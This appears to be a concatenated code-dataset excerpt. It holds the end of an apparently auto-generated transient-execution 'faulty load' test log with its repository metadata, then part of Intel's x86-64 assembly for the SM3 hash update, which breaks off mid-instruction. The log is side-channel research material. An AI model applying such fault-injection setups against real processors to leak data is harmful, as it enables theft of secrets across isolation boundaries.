<gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 2, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 4, 'size': 32, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 5, 'size': 16, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 10, 'size': 8, 'same': False, 'NT': True}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
31.972656
2,999
0.659255
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_1398.asm
8,185
Assembly
############################################################################### # Copyright 2018 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 4, 0x90 bswap128: .byte 3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12 .p2align 4, 0x90 .globl y8_UpdateSM3 .type y8_UpdateSM3, @function y8_UpdateSM3: push %rbp push %rbx push %r12 push %r13 push %r14 push %r15 sub $(312), %rsp movslq %edx, %rdx movq %rdi, (272)(%rsp) movq %rdx, (288)(%rsp) mov (%rdi), %r8d mov (4)(%rdi), %r9d mov (8)(%rdi), %r10d mov (12)(%rdi), %r11d mov (16)(%rdi), %r12d mov (20)(%rdi), %r13d mov (24)(%rdi), %r14d mov (28)(%rdi), %r15d .p2align 4, 0x90 .Lmain_loopgas_1: xor %rdi, %rdi movdqu (%rsi), %xmm0 movdqu (16)(%rsi), %xmm1 movdqu (32)(%rsi), %xmm2 movdqu (48)(%rsi), %xmm3 add $(64), %rsi movq %rsi, (280)(%rsp) pshufb bswap128(%rip), %xmm0 pshufb bswap128(%rip), %xmm1 pshufb bswap128(%rip), %xmm2 pshufb bswap128(%rip), %xmm3 movdqu %xmm0, (%rsp) movdqu %xmm1, (16)(%rsp) movdqu %xmm2, (32)(%rsp) movdqu %xmm3, (48)(%rsp) .p2align 4, 0x90 .Lrounds_00_15gas_1: mov (52)(%rsp,%rdi,4), %ebp shld $(15), %ebp, %ebp xor (28)(%rsp,%rdi,4), %ebp xor (%rsp,%rdi,4), %ebp mov %ebp, %edx shld $(8), %edx, %edx xor %ebp, %edx shld $(15), %edx, %edx xor %ebp, %edx mov (12)(%rsp,%rdi,4), %ebp xor (40)(%rsp,%rdi,4), %edx shld $(7), %ebp, %ebp xor %ebp, %edx mov %edx, (64)(%rsp,%rdi,4) mov %r8d, %eax mov (%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r12d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r9d, %ebp mov %r13d, %edx xor %r10d, %ebp xor %r14d, %edx xor %r8d, %ebp xor %r12d, %edx add %ebp, %eax add %edx, %ebx add %r11d, %eax add %r15d, %ebx mov (%rsp,%rdi,4), %ebp add %ebp, %ebx xor (16)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r9d, %r9d shld $(19), %r13d, %r13d mov %eax, %r15d mov %ebx, %r11d shld $(8), %r11d, %r11d xor %ebx, %r11d shld $(9), %r11d, %r11d xor %ebx, %r11d mov (56)(%rsp,%rdi,4), %ebp shld $(15), %ebp, %ebp xor (32)(%rsp,%rdi,4), %ebp xor (4)(%rsp,%rdi,4), %ebp mov %ebp, %edx shld $(8), %edx, %edx xor %ebp, %edx shld $(15), %edx, %edx xor %ebp, %edx mov (16)(%rsp,%rdi,4), %ebp xor (44)(%rsp,%rdi,4), %edx shld $(7), %ebp, %ebp xor %ebp, %edx mov %edx, (68)(%rsp,%rdi,4) mov %r15d, %eax mov (4)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r11d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r8d, %ebp mov %r12d, %edx xor %r9d, %ebp xor %r13d, %edx xor %r15d, %ebp xor %r11d, %edx add %ebp, %eax add %edx, %ebx add %r10d, %eax add %r14d, %ebx mov (4)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (20)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r8d, %r8d shld $(19), %r12d, %r12d mov %eax, %r14d mov %ebx, %r10d shld $(8), %r10d, %r10d xor %ebx, %r10d shld $(9), %r10d, %r10d xor %ebx, %r10d mov (60)(%rsp,%rdi,4), %ebp shld $(15), %ebp, %ebp xor (36)(%rsp,%rdi,4), %ebp xor (8)(%rsp,%rdi,4), %ebp mov %ebp, %edx shld $(8), %edx, %edx xor %ebp, %edx shld $(15), %edx, %edx xor %ebp, %edx mov (20)(%rsp,%rdi,4), %ebp xor (48)(%rsp,%rdi,4), %edx shld $(7), %ebp, %ebp xor %ebp, %edx mov %edx, (72)(%rsp,%rdi,4) mov %r14d, %eax mov (8)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r10d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r15d, %ebp mov %r11d, %edx xor %r8d, %ebp xor %r12d, %edx xor %r14d, %ebp xor %r10d, %edx add %ebp, %eax add %edx, %ebx add %r9d, %eax add %r13d, %ebx mov (8)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (24)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r15d, %r15d shld $(19), %r11d, %r11d mov %eax, %r13d mov %ebx, %r9d shld $(8), %r9d, %r9d xor %ebx, %r9d shld $(9), %r9d, %r9d xor %ebx, %r9d mov (64)(%rsp,%rdi,4), %ebp shld $(15), %ebp, %ebp xor (40)(%rsp,%rdi,4), %ebp xor (12)(%rsp,%rdi,4), %ebp mov %ebp, %edx shld $(8), %edx, %edx xor %ebp, %edx shld $(15), %edx, %edx xor %ebp, %edx mov (24)(%rsp,%rdi,4), %ebp xor (52)(%rsp,%rdi,4), %edx shld $(7), %ebp, %ebp xor %ebp, %edx mov %edx, (76)(%rsp,%rdi,4) mov %r13d, %eax mov (12)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r9d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r14d, %ebp mov %r10d, %edx xor %r15d, %ebp xor %r11d, %edx xor %r13d, %ebp xor %r9d, %edx add %ebp, %eax add %edx, %ebx add %r8d, %eax add %r12d, %ebx mov (12)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (28)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r14d, %r14d shld $(19), %r10d, %r10d mov %eax, %r12d mov %ebx, %r8d shld $(8), %r8d, %r8d xor %ebx, %r8d shld $(9), %r8d, %r8d xor %ebx, %r8d mov (68)(%rsp,%rdi,4), %ebp shld $(15), %ebp, %ebp xor (44)(%rsp,%rdi,4), %ebp xor (16)(%rsp,%rdi,4), %ebp mov %ebp, %edx shld $(8), %edx, %edx xor %ebp, %edx shld $(15), %edx, %edx xor %ebp, %edx mov (28)(%rsp,%rdi,4), %ebp xor (56)(%rsp,%rdi,4), %edx shld $(7), %ebp, %ebp xor %ebp, %edx mov %edx, (80)(%rsp,%rdi,4) mov %r12d, %eax mov (16)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r8d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r13d, %ebp mov %r9d, %edx xor %r14d, %ebp xor %r10d, %edx xor %r12d, %ebp xor %r8d, %edx add %ebp, %eax add %edx, %ebx add %r15d, %eax add %r11d, %ebx mov (16)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (32)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r13d, %r13d shld $(19), %r9d, %r9d mov %eax, %r11d mov %ebx, %r15d shld $(8), %r15d, %r15d xor %ebx, %r15d shld $(9), %r15d, %r15d xor %ebx, %r15d mov (72)(%rsp,%rdi,4), %ebp shld $(15), %ebp, %ebp xor (48)(%rsp,%rdi,4), %ebp xor (20)(%rsp,%rdi,4), %ebp mov %ebp, %edx shld $(8), %edx, %edx xor %ebp, %edx shld $(15), %edx, %edx xor %ebp, %edx mov (32)(%rsp,%rdi,4), %ebp xor (60)(%rsp,%rdi,4), %edx shld $(7), %ebp, %ebp xor %ebp, %edx mov %edx, (84)(%rsp,%rdi,4) mov %r11d, %eax mov (20)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r15d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r12d, %ebp mov %r8d, %edx xor %r13d, %ebp xor %r9d, %edx xor %r11d, %ebp xor %r15d, %edx add %ebp, %eax add %edx, %ebx add %r14d, %eax add %r10d, %ebx mov (20)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (36)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r12d, %r12d shld $(19), %r8d, %r8d mov %eax, %r10d mov %ebx, %r14d shld $(8), %r14d, %r14d xor %ebx, %r14d shld $(9), %r14d, %r14d xor %ebx, %r14d mov (76)(%rsp,%rdi,4), %ebp shld $(15), %ebp, %ebp xor (52)(%rsp,%rdi,4), %ebp xor (24)(%rsp,%rdi,4), %ebp mov %ebp, %edx shld $(8), %edx, %edx xor %ebp, %edx shld $(15), %edx, %edx xor %ebp, %edx mov (36)(%rsp,%rdi,4), %ebp xor (64)(%rsp,%rdi,4), %edx shld $(7), %ebp, %ebp xor %ebp, %edx mov %edx, (88)(%rsp,%rdi,4) mov %r10d, %eax mov (24)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r14d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r11d, %ebp mov %r15d, %edx xor %r12d, %ebp xor %r8d, %edx xor %r10d, %ebp xor %r14d, %edx add %ebp, %eax add %edx, %ebx add %r13d, %eax add %r9d, %ebx mov (24)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (40)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r11d, %r11d shld $(19), %r15d, %r15d mov %eax, %r9d mov %ebx, %r13d shld $(8), %r13d, %r13d xor %ebx, %r13d shld $(9), %r13d, %r13d xor %ebx, %r13d mov (80)(%rsp,%rdi,4), %ebp shld $(15), %ebp, %ebp xor (56)(%rsp,%rdi,4), %ebp xor (28)(%rsp,%rdi,4), %ebp mov %ebp, %edx shld $(8), %edx, %edx xor %ebp, %edx shld $(15), %edx, %edx xor %ebp, %edx mov (40)(%rsp,%rdi,4), %ebp xor (68)(%rsp,%rdi,4), %edx shld $(7), %ebp, %ebp xor %ebp, %edx mov %edx, (92)(%rsp,%rdi,4) mov %r9d, %eax mov (28)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r13d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r10d, %ebp mov %r14d, %edx xor %r11d, %ebp xor %r15d, %edx xor %r9d, %ebp xor %r13d, %edx add %ebp, %eax add %edx, %ebx add %r12d, %eax add %r8d, %ebx mov (28)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (44)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r10d, %r10d shld $(19), %r14d, %r14d mov %eax, %r8d mov %ebx, %r12d shld $(8), %r12d, %r12d xor %ebx, %r12d shld $(9), %r12d, %r12d xor %ebx, %r12d add $(8), %rdi cmp $(16), %rdi jne .Lrounds_00_15gas_1 .p2align 4, 0x90 .Lrounds_16_47gas_1: mov (52)(%rsp,%rdi,4), %ebp shld $(15), %ebp, %ebp xor (28)(%rsp,%rdi,4), %ebp xor (%rsp,%rdi,4), %ebp mov %ebp, %edx shld $(8), %edx, %edx xor %ebp, %edx shld $(15), %edx, %edx xor %ebp, %edx mov (12)(%rsp,%rdi,4), %ebp xor (40)(%rsp,%rdi,4), %edx shld $(7), %ebp, %ebp xor %ebp, %edx mov %edx, (64)(%rsp,%rdi,4) mov %r8d, %eax mov (%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r12d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r9d, %edx mov %r9d, %ebp and %r10d, %edx xor %r10d, %ebp and %r8d, %ebp add %edx, %ebp mov %r13d, %edx xor %r14d, %edx and %r12d, %edx xor %r14d, %edx add %ebp, %eax add %edx, %ebx add %r11d, %eax add %r15d, %ebx mov (%rsp,%rdi,4), %ebp add %ebp, %ebx xor (16)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r9d, %r9d shld $(19), %r13d, %r13d mov %eax, %r15d mov %ebx, %r11d shld $(8), %r11d, %r11d xor %ebx, %r11d shld $(9), %r11d, %r11d xor %ebx, %r11d mov (56)(%rsp,%rdi,4), %ebp shld $(15), %ebp, %ebp xor (32)(%rsp,%rdi,4), %ebp xor (4)(%rsp,%rdi,4), %ebp mov %ebp, %edx shld $(8), %edx, %edx xor %ebp, %edx shld $(15), %edx, %edx xor %ebp, %edx mov (16)(%rsp,%rdi,4), %ebp xor (44)(%rsp,%rdi,4), %edx shld $(7), %ebp, %ebp xor %ebp, %edx mov %edx, (68)(%rsp,%rdi,4) mov %r15d, %eax mov (4)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r11d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r8d, %edx mov %r8d, %ebp and %r9d, %edx xor %r9d, %ebp and %r15d, %ebp add %edx, %ebp mov %r12d, %edx xor %r13d, %edx and %r11d, %edx xor %r13d, %edx add %ebp, %eax add %edx, %ebx add %r10d, %eax add %r14d, %ebx mov (4)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (20)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r8d, %r8d shld $(19), %r12d, %r12d mov %eax, %r14d mov %ebx, %r10d shld $(8), %r10d, %r10d xor %ebx, %r10d shld $(9), %r10d, %r10d xor %ebx, %r10d mov (60)(%rsp,%rdi,4), %ebp shld $(15), %ebp, %ebp xor (36)(%rsp,%rdi,4), %ebp xor (8)(%rsp,%rdi,4), %ebp mov %ebp, %edx shld $(8), %edx, %edx xor %ebp, %edx shld $(15), %edx, %edx xor %ebp, %edx mov (20)(%rsp,%rdi,4), %ebp xor (48)(%rsp,%rdi,4), %edx shld $(7), %ebp, %ebp xor %ebp, %edx mov %edx, (72)(%rsp,%rdi,4) mov %r14d, %eax mov (8)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r10d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r15d, %edx mov %r15d, %ebp and %r8d, %edx xor %r8d, %ebp and %r14d, %ebp add %edx, %ebp mov %r11d, %edx xor %r12d, %edx and %r10d, %edx xor %r12d, %edx add %ebp, %eax add %edx, %ebx add %r9d, %eax add %r13d, %ebx mov (8)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (24)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r15d, %r15d shld $(19), %r11d, %r11d mov %eax, %r13d mov %ebx, %r9d shld $(8), %r9d, %r9d xor %ebx, %r9d shld $(9), %r9d, %r9d xor %ebx, %r9d mov (64)(%rsp,%rdi,4), %ebp shld $(15), %ebp, %ebp xor (40)(%rsp,%rdi,4), %ebp xor (12)(%rsp,%rdi,4), %ebp mov %ebp, %edx shld $(8), %edx, %edx xor %ebp, %edx shld $(15), %edx, %edx xor %ebp, %edx mov (24)(%rsp,%rdi,4), %ebp xor (52)(%rsp,%rdi,4), %edx shld $(7), %ebp, %ebp xor %ebp, %edx mov %edx, (76)(%rsp,%rdi,4) mov %r13d, %eax mov (12)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r9d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r14d, %edx mov %r14d, %ebp and %r15d, %edx xor %r15d, %ebp and %r13d, %ebp add %edx, %ebp mov %r10d, %edx xor %r11d, %edx and %r9d, %edx xor %r11d, %edx add %ebp, %eax add %edx, %ebx add %r8d, %eax add %r12d, %ebx mov (12)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (28)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r14d, %r14d shld $(19), %r10d, %r10d mov %eax, %r12d mov %ebx, %r8d shld $(8), %r8d, %r8d xor %ebx, %r8d shld $(9), %r8d, %r8d xor %ebx, %r8d mov (68)(%rsp,%rdi,4), %ebp shld $(15), %ebp, %ebp xor (44)(%rsp,%rdi,4), %ebp xor (16)(%rsp,%rdi,4), %ebp mov %ebp, %edx shld $(8), %edx, %edx xor %ebp, %edx shld $(15), %edx, %edx xor %ebp, %edx mov (28)(%rsp,%rdi,4), %ebp xor (56)(%rsp,%rdi,4), %edx shld $(7), %ebp, %ebp xor %ebp, %edx mov %edx, (80)(%rsp,%rdi,4) mov %r12d, %eax mov (16)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r8d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r13d, %edx mov %r13d, %ebp and %r14d, %edx xor %r14d, %ebp and %r12d, %ebp add %edx, %ebp mov %r9d, %edx xor %r10d, %edx and %r8d, %edx xor %r10d, %edx add %ebp, %eax add %edx, %ebx add %r15d, %eax add %r11d, %ebx mov (16)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (32)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r13d, %r13d shld $(19), %r9d, %r9d mov %eax, %r11d mov %ebx, %r15d shld $(8), %r15d, %r15d xor %ebx, %r15d shld $(9), %r15d, %r15d xor %ebx, %r15d mov (72)(%rsp,%rdi,4), %ebp shld $(15), %ebp, %ebp xor (48)(%rsp,%rdi,4), %ebp xor (20)(%rsp,%rdi,4), %ebp mov %ebp, %edx shld $(8), %edx, %edx xor %ebp, %edx shld $(15), %edx, %edx xor %ebp, %edx mov (32)(%rsp,%rdi,4), %ebp xor (60)(%rsp,%rdi,4), %edx shld $(7), %ebp, %ebp xor %ebp, %edx mov %edx, (84)(%rsp,%rdi,4) mov %r11d, %eax mov (20)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r15d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r12d, %edx mov %r12d, %ebp and %r13d, %edx xor %r13d, %ebp and %r11d, %ebp add %edx, %ebp mov %r8d, %edx xor %r9d, %edx and %r15d, %edx xor %r9d, %edx add %ebp, %eax add %edx, %ebx add %r14d, %eax add %r10d, %ebx mov (20)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (36)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r12d, %r12d shld $(19), %r8d, %r8d mov %eax, %r10d mov %ebx, %r14d shld $(8), %r14d, %r14d xor %ebx, %r14d shld $(9), %r14d, %r14d xor %ebx, %r14d mov (76)(%rsp,%rdi,4), %ebp shld $(15), %ebp, %ebp xor (52)(%rsp,%rdi,4), %ebp xor (24)(%rsp,%rdi,4), %ebp mov %ebp, %edx shld $(8), %edx, %edx xor %ebp, %edx shld $(15), %edx, %edx xor %ebp, %edx mov (36)(%rsp,%rdi,4), %ebp xor (64)(%rsp,%rdi,4), %edx shld $(7), %ebp, %ebp xor %ebp, %edx mov %edx, (88)(%rsp,%rdi,4) mov %r10d, %eax mov (24)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r14d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r11d, %edx mov %r11d, %ebp and %r12d, %edx xor %r12d, %ebp and %r10d, %ebp add %edx, %ebp mov %r15d, %edx xor %r8d, %edx and %r14d, %edx xor %r8d, %edx add %ebp, %eax add %edx, %ebx add %r13d, %eax add %r9d, %ebx mov (24)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (40)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r11d, %r11d shld $(19), %r15d, %r15d mov %eax, %r9d mov %ebx, %r13d shld $(8), %r13d, %r13d xor %ebx, %r13d shld $(9), %r13d, %r13d xor %ebx, %r13d mov (80)(%rsp,%rdi,4), %ebp shld $(15), %ebp, %ebp xor (56)(%rsp,%rdi,4), %ebp xor (28)(%rsp,%rdi,4), %ebp mov %ebp, %edx shld $(8), %edx, %edx xor %ebp, %edx shld $(15), %edx, %edx xor %ebp, %edx mov (40)(%rsp,%rdi,4), %ebp xor (68)(%rsp,%rdi,4), %edx shld $(7), %ebp, %ebp xor %ebp, %edx mov %edx, (92)(%rsp,%rdi,4) mov %r9d, %eax mov (28)(%rcx,%rdi,4), %ebx shld $(12), %eax, %eax add %eax, %ebx add %r13d, %ebx shld $(7), %ebx, %ebx xor %ebx, %eax mov %r10d, %edx mov %r10d, %ebp and %r11d, %edx xor %r11d, %ebp and %r9d, %ebp add %edx, %ebp mov %r14d, %edx xor %r15d, %edx and %r13d, %edx xor %r15d, %edx add %ebp, %eax add %edx, %ebx add %r12d, %eax add %r8d, %ebx mov (28)(%rsp,%rdi,4), %ebp add %ebp, %ebx xor (44)(%rsp,%rdi,4), %ebp add %ebp, %eax shld $(9), %r10d, %r10d shld $(19), %r14d, %r14d mov %eax, %r8d mov %ebx, %r12d shld $(8), %r12d, %r12d xor %ebx, %r12d shld $(9), %r12d, %r12d xor %ebx, %r12d add $(8), %rdi cmp $(48), %rdi jne .Lrounds_16_47gas_1 mov (52)(%rsp,%rdi,4), %ebp shld $(15), %ebp, %ebp xor (28)(%rsp,%rdi,4), %ebp xor (%rsp,%rdi,4), %ebp mov %ebp, %edx shld $(8), %edx, %edx xor %ebp, %edx shld $(15), %edx, %edx xor %ebp, %edx mov (12)(%rsp,%rdi,4), %ebp xor (40)(%rsp,%rdi,4), %edx shld $(7), %ebp, %ebp xor %ebp, %edx mov %edx, (64)(%rsp,%rdi,4) mov (56)(%rsp,%rdi,4), %ebp shld $(15), %ebp, %ebp xor (32)(%rsp,%rdi,4), %ebp xor (4)(%rsp,%rdi,4), %ebp mov %ebp, %edx shld $(8), %edx, %edx xor %ebp, %edx shld $(15), %edx, %edx xor %ebp, %edx mov (16)(%rsp,%rdi,4), %ebp xor (44)(%rsp,%rdi,4), %edx shld $(7), %ebp, %ebp xor %ebp, %edx mov %edx, (68)(%rsp,%rdi,4) mov (60)(%rsp,%rdi,4), %ebp shld $(15), %ebp, %ebp xor (36)(%rsp,%rdi,4), %ebp xor (8)(%rsp,%rdi,4), %ebp mov %ebp, %edx shld $(8), %edx, %edx xor %ebp, %edx shld $(15), %edx, %edx xor %ebp, %edx mov 